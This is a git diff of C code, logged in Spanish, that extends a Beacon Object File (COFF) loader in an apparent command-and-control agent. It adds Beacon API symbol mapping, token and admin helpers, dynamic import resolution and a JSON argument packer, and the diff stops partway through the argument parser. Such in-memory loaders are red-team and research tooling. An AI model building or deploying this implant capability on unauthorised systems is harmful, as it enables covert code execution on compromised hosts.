assembly implemented
This commit is contained in:
Binary file not shown.
@@ -17,6 +17,39 @@ static char* beacon_output_buffer = NULL;
|
|||||||
static int beacon_output_size = 0;
|
static int beacon_output_size = 0;
|
||||||
static int beacon_output_offset = 0;
|
static int beacon_output_offset = 0;
|
||||||
|
|
||||||
|
// Structure for BOF execution in separate thread
|
||||||
|
typedef struct _BOF_THREAD_ARGS {
|
||||||
|
char* bofBuffer;
|
||||||
|
DWORD bofSize;
|
||||||
|
char* args;
|
||||||
|
unsigned long argsSize;
|
||||||
|
volatile BOOL completed;
|
||||||
|
volatile BOOL success;
|
||||||
|
} BOF_THREAD_ARGS, *PBOF_THREAD_ARGS;
|
||||||
|
|
||||||
|
// Thread function to execute BOF
|
||||||
|
static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
|
||||||
|
PBOF_THREAD_ARGS threadArgs = (PBOF_THREAD_ARGS)lpParam;
|
||||||
|
if (!threadArgs) {
|
||||||
|
_err("[BOFExecutionThread] threadArgs es NULL");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
|
||||||
|
threadArgs->completed = FALSE;
|
||||||
|
threadArgs->success = FALSE;
|
||||||
|
|
||||||
|
// Execute BOF
|
||||||
|
DWORD fileSize = threadArgs->bofSize;
|
||||||
|
BOOL result = RunCOFF(threadArgs->bofBuffer, &fileSize, "go", threadArgs->args, threadArgs->argsSize);
|
||||||
|
|
||||||
|
threadArgs->success = result;
|
||||||
|
threadArgs->completed = TRUE;
|
||||||
|
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
|
||||||
|
|
||||||
|
return result ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
// BeaconPrintf - Capture formatted output from BOFs
|
// BeaconPrintf - Capture formatted output from BOFs
|
||||||
void BeaconPrintf(int type, char* fmt, ...) {
|
void BeaconPrintf(int type, char* fmt, ...) {
|
||||||
va_list args;
|
va_list args;
|
||||||
@@ -316,7 +349,17 @@ static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
|
|||||||
STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
|
STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
|
||||||
STR_EQUALS(StrippedSymbolName, "toWideChar") ||
|
STR_EQUALS(StrippedSymbolName, "toWideChar") ||
|
||||||
STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
|
STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
|
||||||
STR_EQUALS(StrippedSymbolName, "FreeLibrary"))
|
STR_EQUALS(StrippedSymbolName, "FreeLibrary") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconDataParse") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconDataExtract") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconDataInt") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconDataShort") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconDataLength") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconPrintf") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconOutput") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconUseToken") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconRevertToken") ||
|
||||||
|
STR_EQUALS(StrippedSymbolName, "BeaconIsAdmin"))
|
||||||
{
|
{
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -331,23 +374,44 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
|
|||||||
char localSymbolNameCopy[1024] = { 0 };
|
char localSymbolNameCopy[1024] = { 0 };
|
||||||
*InternalFunction = FALSE;
|
*InternalFunction = FALSE;
|
||||||
char* locallib = NULL;
|
char* locallib = NULL;
|
||||||
char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1;
|
char* localfunc = NULL;
|
||||||
HMODULE llHandle = NULL;
|
HMODULE llHandle = NULL;
|
||||||
char* context = NULL;
|
char* context = NULL;
|
||||||
|
|
||||||
|
if (!SymbolName) {
|
||||||
|
_err("[ProcessBeaconSymbols] SymbolName es NULL");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if symbol starts with PREPENDSYMBOLVALUE
|
||||||
|
SIZE_T prependLen = strlen(PREPENDSYMBOLVALUE);
|
||||||
|
if (strncmp(SymbolName, PREPENDSYMBOLVALUE, prependLen) != 0) {
|
||||||
|
// Try to resolve anyway (might be a direct symbol name)
|
||||||
|
localfunc = SymbolName;
|
||||||
|
} else {
|
||||||
|
localfunc = SymbolName + prependLen;
|
||||||
|
}
|
||||||
|
|
||||||
strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
|
strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
|
||||||
|
|
||||||
// Hash-based function resolution for internal functions
|
// Hash-based function resolution for internal functions
|
||||||
// For now, we'll use direct function resolution
|
// For now, we'll use direct function resolution
|
||||||
if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) {
|
if (InternalFunctionMatch(localfunc)) {
|
||||||
*InternalFunction = TRUE;
|
*InternalFunction = TRUE;
|
||||||
localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE);
|
|
||||||
UINT32 hash = custom_hash(localfunc);
|
UINT32 hash = custom_hash(localfunc);
|
||||||
|
|
||||||
// Map common Beacon functions by hash
|
// Map common Beacon functions by hash
|
||||||
UINT32 funcHash = hash;
|
UINT32 funcHash = hash;
|
||||||
if (funcHash == custom_hash("BeaconDataParse")) {
|
if (funcHash == custom_hash("BeaconDataParse")) {
|
||||||
return (void*)BeaconDataParse;
|
return (void*)BeaconDataParse;
|
||||||
|
} else if (funcHash == custom_hash("BeaconDataExtract")) {
|
||||||
|
return (void*)BeaconDataExtract;
|
||||||
|
} else if (funcHash == custom_hash("BeaconDataInt")) {
|
||||||
|
return (void*)BeaconDataInt;
|
||||||
|
} else if (funcHash == custom_hash("BeaconDataShort")) {
|
||||||
|
return (void*)BeaconDataShort;
|
||||||
|
} else if (funcHash == custom_hash("BeaconDataLength")) {
|
||||||
|
return (void*)BeaconDataLength;
|
||||||
} else if (funcHash == custom_hash("BeaconPrintf")) {
|
} else if (funcHash == custom_hash("BeaconPrintf")) {
|
||||||
return (void*)BeaconPrintf;
|
return (void*)BeaconPrintf;
|
||||||
} else if (funcHash == custom_hash("BeaconOutput")) {
|
} else if (funcHash == custom_hash("BeaconOutput")) {
|
||||||
@@ -366,18 +430,60 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
|
|||||||
return (void*)BeaconRevertToken;
|
return (void*)BeaconRevertToken;
|
||||||
} else if (funcHash == custom_hash("BeaconIsAdmin")) {
|
} else if (funcHash == custom_hash("BeaconIsAdmin")) {
|
||||||
return (void*)BeaconIsAdmin;
|
return (void*)BeaconIsAdmin;
|
||||||
|
} else {
|
||||||
|
_wrn("[ProcessBeaconSymbols] Símbolo interno no mapeado: '%s' (hash=0x%08x)", localfunc, funcHash);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// External symbol - parse library$function format
|
// External symbol - parse library$function format
|
||||||
locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context);
|
// Make a working copy for strtok_s (it modifies the string)
|
||||||
|
char workingCopy[1024] = { 0 };
|
||||||
|
SIZE_T copyLen = strlen(localfunc);
|
||||||
|
if (copyLen >= sizeof(workingCopy)) {
|
||||||
|
_err("[ProcessBeaconSymbols] Símbolo demasiado largo: %zu bytes", copyLen);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
strncpy_s(workingCopy, sizeof(workingCopy), localfunc, copyLen);
|
||||||
|
|
||||||
|
// Parse library$function format
|
||||||
|
char* context1 = NULL;
|
||||||
|
locallib = strtok_s(workingCopy, "$", &context1);
|
||||||
if (locallib) {
|
if (locallib) {
|
||||||
llHandle = LoadLibraryA(locallib);
|
llHandle = LoadLibraryA(locallib);
|
||||||
localfunc = strtok_s(NULL, "$", &context);
|
if (!llHandle) {
|
||||||
if (localfunc) {
|
DWORD error = GetLastError();
|
||||||
localfunc = strtok_s(localfunc, "@", &context);
|
_err("[ProcessBeaconSymbols] Error cargando librería '%s': %lu", locallib, error);
|
||||||
functionaddress = GetProcAddress(llHandle, localfunc);
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char* funcToken = strtok_s(NULL, "$", &context1);
|
||||||
|
if (funcToken) {
|
||||||
|
// Remove ordinal suffix if present (function@ordinal)
|
||||||
|
char* context2 = NULL;
|
||||||
|
char* funcName = strtok_s(funcToken, "@", &context2);
|
||||||
|
if (funcName) {
|
||||||
|
functionaddress = GetProcAddress(llHandle, funcName);
|
||||||
|
if (!functionaddress) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcName, locallib, error);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// No @ found, use the whole token as function name
|
||||||
|
functionaddress = GetProcAddress(llHandle, funcToken);
|
||||||
|
if (!functionaddress) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcToken, locallib, error);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
_err("[ProcessBeaconSymbols] No se encontró función en formato library$function para '%s'", localfunc);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_wrn("[ProcessBeaconSymbols] No se pudo parsear formato library$function de '%s' (formato esperado: library$function)", localfunc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!functionaddress) {
|
||||||
|
_wrn("[ProcessBeaconSymbols] No se pudo resolver símbolo '%s'", SymbolName);
|
||||||
}
|
}
|
||||||
|
|
||||||
return functionaddress;
|
return functionaddress;
|
||||||
@@ -394,10 +500,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
|
||||||
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
|
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
|
||||||
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
|
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
|
||||||
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
|
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
|
||||||
_dbg("[inline_execute] Entry point encontrado: 0x%p", foo);
|
_inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
|
||||||
|
func, counter, foo, COFF->SymbolTable[counter].Value);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -408,7 +516,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute the BOF
|
// Execute the BOF
|
||||||
|
// Execute the BOF
|
||||||
|
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
|
||||||
|
// The BOF should handle its own errors gracefully
|
||||||
|
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
|
||||||
foo((char*)args, (UINT32)argSize);
|
foo((char*)args, (UINT32)argSize);
|
||||||
|
_inf("[ExecuteEntry] Entry point '%s' completado", func);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -512,9 +625,12 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
|||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
BOOL internalFunctionCheck = FALSE;
|
BOOL internalFunctionCheck = FALSE;
|
||||||
funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck);
|
char* symbolName = ((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset;
|
||||||
|
funcptrlocation = ProcessBeaconSymbols(symbolName, &internalFunctionCheck);
|
||||||
if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
|
if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
|
||||||
_wrn("[inline_execute] No se pudo resolver símbolo");
|
_wrn("[RunCOFF] No se pudo resolver símbolo '%s' (SectionNumber=%d)",
|
||||||
|
symbolName, COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber);
|
||||||
|
// Continue anyway - some symbols might be optional or resolved later
|
||||||
}
|
}
|
||||||
|
|
||||||
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
|
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
|
||||||
@@ -523,8 +639,9 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute the BOF
|
// Execute the BOF
|
||||||
|
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
|
||||||
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
|
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
|
||||||
_err("[inline_execute] Error ejecutando entry point");
|
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
|
||||||
// Cleanup
|
// Cleanup
|
||||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||||
if (sectionMapped[i] != NULL) {
|
if (sectionMapped[i] != NULL) {
|
||||||
@@ -535,6 +652,7 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
|||||||
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
|
||||||
|
|
||||||
// Cleanup
|
// Cleanup
|
||||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||||
@@ -549,18 +667,326 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
|||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* ParseBOFArguments - Parse BOF arguments from JSON string
|
* HexStringToBytes - Convert hexadecimal string to bytes
|
||||||
* Returns packed arguments buffer and size
|
* Returns allocated buffer with decoded bytes
|
||||||
*/
|
*/
|
||||||
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
|
static BOOL HexStringToBytes(PCHAR hexStr, SIZE_T hexLen, PBYTE* outBytes, SIZE_T* outLen) {
|
||||||
// For now, we'll pass the JSON string directly
|
if (!hexStr || hexLen == 0 || hexLen % 2 != 0) {
|
||||||
// A full implementation would parse the JSON and pack arguments according to type
|
|
||||||
*outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen);
|
|
||||||
if (!*outBuffer) {
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
memcpy(*outBuffer, argsJson, argsJsonLen);
|
|
||||||
*outSize = argsJsonLen;
|
SIZE_T byteLen = hexLen / 2;
|
||||||
|
*outBytes = (PBYTE)LocalAlloc(LPTR, byteLen);
|
||||||
|
if (!*outBytes) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (SIZE_T i = 0; i < byteLen; i++) {
|
||||||
|
char hexByte[3] = {hexStr[i*2], hexStr[i*2+1], '\0'};
|
||||||
|
(*outBytes)[i] = (BYTE)strtoul(hexByte, NULL, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
*outLen = byteLen;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ParseBOFArguments - Parse BOF arguments from JSON string and pack them in binary format
|
||||||
|
* Format expected by BOFs (BeaconDataParse compatible):
|
||||||
|
* - int16: 2 bytes (little-endian)
|
||||||
|
* - int32: 4 bytes (little-endian)
|
||||||
|
* - string: 4 bytes (length) + string data (null-terminated)
|
||||||
|
* - wchar: 4 bytes (length) + wide string data (null-terminated, 2 bytes per char)
|
||||||
|
* - base64: 4 bytes (length) + decoded base64 data
|
||||||
|
* - bytes: 4 bytes (length) + raw bytes (from hex string)
|
||||||
|
*
|
||||||
|
* JSON format: [["type", "value"], ["type", value], ...]
|
||||||
|
*/
|
||||||
|
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
|
||||||
|
// Simple JSON parser for BOF arguments format: [["type", "value"], ...]
|
||||||
|
// This is a minimal parser that handles the specific format we use
|
||||||
|
|
||||||
|
if (!argsJson || argsJsonLen == 0) {
|
||||||
|
*outBuffer = NULL;
|
||||||
|
*outSize = 0;
|
||||||
|
_inf("[ParseBOFArguments] No arguments provided");
|
||||||
|
return TRUE; // No arguments is valid
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
|
||||||
|
|
||||||
|
// Check for empty array []
|
||||||
|
PCHAR p = argsJson;
|
||||||
|
PCHAR end = argsJson + argsJsonLen;
|
||||||
|
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
|
||||||
|
if (p < end && *p == '[') {
|
||||||
|
p++;
|
||||||
|
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
|
||||||
|
if (p < end && *p == ']') {
|
||||||
|
// Empty array
|
||||||
|
*outBuffer = NULL;
|
||||||
|
*outSize = 0;
|
||||||
|
_inf("[ParseBOFArguments] Empty array, no arguments");
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allocate buffer (estimate: JSON is usually larger than binary, so start with same size)
|
||||||
|
SIZE_T bufferSize = argsJsonLen * 2; // Overestimate to be safe
|
||||||
|
PBYTE buffer = (PBYTE)LocalAlloc(LPTR, bufferSize);
|
||||||
|
if (!buffer) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T offset = 0;
|
||||||
|
p = argsJson;
|
||||||
|
|
||||||
|
// Skip whitespace and opening bracket
|
||||||
|
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == '[')) p++;
|
||||||
|
|
||||||
|
// Parse arguments
|
||||||
|
while (p < end && *p != ']') {
|
||||||
|
// Skip whitespace and comma
|
||||||
|
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == ',' || *p == '[')) p++;
|
||||||
|
if (p >= end || *p == ']') break;
|
||||||
|
|
||||||
|
// Parse type: "type"
|
||||||
|
if (*p != '"') {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
p++; // Skip opening quote
|
||||||
|
PCHAR typeStart = p;
|
||||||
|
while (p < end && *p != '"') p++;
|
||||||
|
if (p >= end) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
SIZE_T typeLen = p - typeStart;
|
||||||
|
p++; // Skip closing quote
|
||||||
|
|
||||||
|
// Skip comma/whitespace
|
||||||
|
while (p < end && (*p == ' ' || *p == '\t' || *p == ',')) p++;
|
||||||
|
|
||||||
|
// Parse value
|
||||||
|
PCHAR valueStart = NULL;
|
||||||
|
SIZE_T valueLen = 0;
|
||||||
|
BOOL isString = FALSE;
|
||||||
|
|
||||||
|
if (*p == '"') {
|
||||||
|
// String value
|
||||||
|
isString = TRUE;
|
||||||
|
p++; // Skip opening quote
|
||||||
|
valueStart = p;
|
||||||
|
while (p < end && *p != '"') p++;
|
||||||
|
if (p >= end) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
valueLen = p - valueStart;
|
||||||
|
p++; // Skip closing quote
|
||||||
|
} else if (*p == '-' || (*p >= '0' && *p <= '9')) {
|
||||||
|
// Numeric value
|
||||||
|
valueStart = p;
|
||||||
|
while (p < end && ((*p >= '0' && *p <= '9') || *p == '-' || *p == '.')) p++;
|
||||||
|
valueLen = p - valueStart;
|
||||||
|
} else if ((p + 4 <= end && strncmp(p, "true", 4) == 0) ||
|
||||||
|
(p + 5 <= end && strncmp(p, "false", 5) == 0)) {
|
||||||
|
// Boolean value (true/false without quotes)
|
||||||
|
valueStart = p;
|
||||||
|
if (strncmp(p, "true", 4) == 0) {
|
||||||
|
valueLen = 4;
|
||||||
|
p += 4;
|
||||||
|
} else {
|
||||||
|
valueLen = 5;
|
||||||
|
p += 5;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Unexpected format
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Skip closing bracket and whitespace
|
||||||
|
while (p < end && (*p == ' ' || *p == '\t' || *p == ']' || *p == ',' || *p == ']')) {
|
||||||
|
if (*p == ']') break;
|
||||||
|
p++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pack argument based on type
|
||||||
|
// Check if we need to reallocate buffer
|
||||||
|
SIZE_T needed = offset + 1024; // Estimate for worst case
|
||||||
|
if (needed > bufferSize) {
|
||||||
|
bufferSize = needed * 2;
|
||||||
|
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, bufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
if (!newBuffer) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
buffer = newBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create temporary null-terminated strings for comparison
|
||||||
|
char typeBuf[32] = {0};
|
||||||
|
if (typeLen < sizeof(typeBuf) - 1) {
|
||||||
|
memcpy(typeBuf, typeStart, typeLen);
|
||||||
|
typeBuf[typeLen] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strcmp(typeBuf, "int16") == 0) {
|
||||||
|
INT16 val = (INT16)atoi(valueStart);
|
||||||
|
if (offset + 2 > bufferSize) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
memcpy(buffer + offset, &val, 2);
|
||||||
|
offset += 2;
|
||||||
|
_inf("[ParseBOFArguments] Packed int16: %d", val);
|
||||||
|
} else if (strcmp(typeBuf, "int32") == 0) {
|
||||||
|
INT32 val = 0;
|
||||||
|
// Handle boolean values (true/false) and numeric values
|
||||||
|
// First check for unquoted boolean literals
|
||||||
|
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
|
||||||
|
val = 1;
|
||||||
|
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
|
||||||
|
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
|
||||||
|
val = 0;
|
||||||
|
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
|
||||||
|
} else {
|
||||||
|
val = (INT32)atoi(valueStart);
|
||||||
|
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
|
||||||
|
}
|
||||||
|
if (offset + 4 > bufferSize) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
memcpy(buffer + offset, &val, 4);
|
||||||
|
offset += 4;
|
||||||
|
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
|
||||||
|
} else if (strcmp(typeBuf, "string") == 0) {
|
||||||
|
if (offset + 4 + valueLen + 1 > bufferSize) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
UINT32 len = (UINT32)(valueLen + 1); // Include null terminator
|
||||||
|
memcpy(buffer + offset, &len, 4);
|
||||||
|
offset += 4;
|
||||||
|
memcpy(buffer + offset, valueStart, valueLen);
|
||||||
|
offset += valueLen;
|
||||||
|
buffer[offset++] = '\0';
|
||||||
|
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
||||||
|
} else if (strcmp(typeBuf, "wchar") == 0) {
|
||||||
|
// Convert to wide string (UTF-16)
|
||||||
|
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
|
||||||
|
if (offset + 4 + wcharLen > bufferSize) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
UINT32 len = (UINT32)wcharLen;
|
||||||
|
memcpy(buffer + offset, &len, 4);
|
||||||
|
offset += 4;
|
||||||
|
// Convert to wide chars
|
||||||
|
for (SIZE_T i = 0; i < valueLen; i++) {
|
||||||
|
WCHAR wc = (WCHAR)valueStart[i];
|
||||||
|
memcpy(buffer + offset, &wc, 2);
|
||||||
|
offset += 2;
|
||||||
|
}
|
||||||
|
WCHAR nullTerm = 0;
|
||||||
|
memcpy(buffer + offset, &nullTerm, 2);
|
||||||
|
offset += 2;
|
||||||
|
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
||||||
|
} else if (strcmp(typeBuf, "base64") == 0) {
|
||||||
|
// Decode base64
|
||||||
|
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
|
||||||
|
if (!b64Str) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
memcpy(b64Str, valueStart, valueLen);
|
||||||
|
b64Str[valueLen] = '\0';
|
||||||
|
|
||||||
|
PBYTE decoded = NULL;
|
||||||
|
SIZE_T decodedLen = 0;
|
||||||
|
if (!base64_decode(b64Str, &decoded, &decodedLen)) {
|
||||||
|
LocalFree(b64Str);
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (offset + 4 + decodedLen > bufferSize) {
|
||||||
|
SIZE_T newSize = bufferSize * 2;
|
||||||
|
while (newSize < offset + 4 + decodedLen) newSize *= 2;
|
||||||
|
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
if (!newBuffer) {
|
||||||
|
LocalFree(b64Str);
|
||||||
|
LocalFree(decoded);
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
buffer = newBuffer;
|
||||||
|
bufferSize = newSize;
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT32 len = (UINT32)decodedLen;
|
||||||
|
memcpy(buffer + offset, &len, 4);
|
||||||
|
offset += 4;
|
||||||
|
memcpy(buffer + offset, decoded, decodedLen);
|
||||||
|
offset += decodedLen;
|
||||||
|
|
||||||
|
LocalFree(b64Str);
|
||||||
|
LocalFree(decoded);
|
||||||
|
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
|
||||||
|
} else if (strcmp(typeBuf, "bytes") == 0) {
|
||||||
|
// Convert hex string to bytes
|
||||||
|
PBYTE bytes = NULL;
|
||||||
|
SIZE_T bytesLen = 0;
|
||||||
|
if (!HexStringToBytes(valueStart, valueLen, &bytes, &bytesLen)) {
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (offset + 4 + bytesLen > bufferSize) {
|
||||||
|
SIZE_T newSize = bufferSize * 2;
|
||||||
|
while (newSize < offset + 4 + bytesLen) newSize *= 2;
|
||||||
|
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
if (!newBuffer) {
|
||||||
|
LocalFree(bytes);
|
||||||
|
LocalFree(buffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
buffer = newBuffer;
|
||||||
|
bufferSize = newSize;
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT32 len = (UINT32)bytesLen;
|
||||||
|
memcpy(buffer + offset, &len, 4);
|
||||||
|
offset += 4;
|
||||||
|
memcpy(buffer + offset, bytes, bytesLen);
|
||||||
|
offset += bytesLen;
|
||||||
|
|
||||||
|
LocalFree(bytes);
|
||||||
|
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
|
||||||
|
} else {
|
||||||
|
// Unknown type - skip or error?
|
||||||
|
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
|
||||||
|
// Continue parsing other arguments
|
||||||
|
}
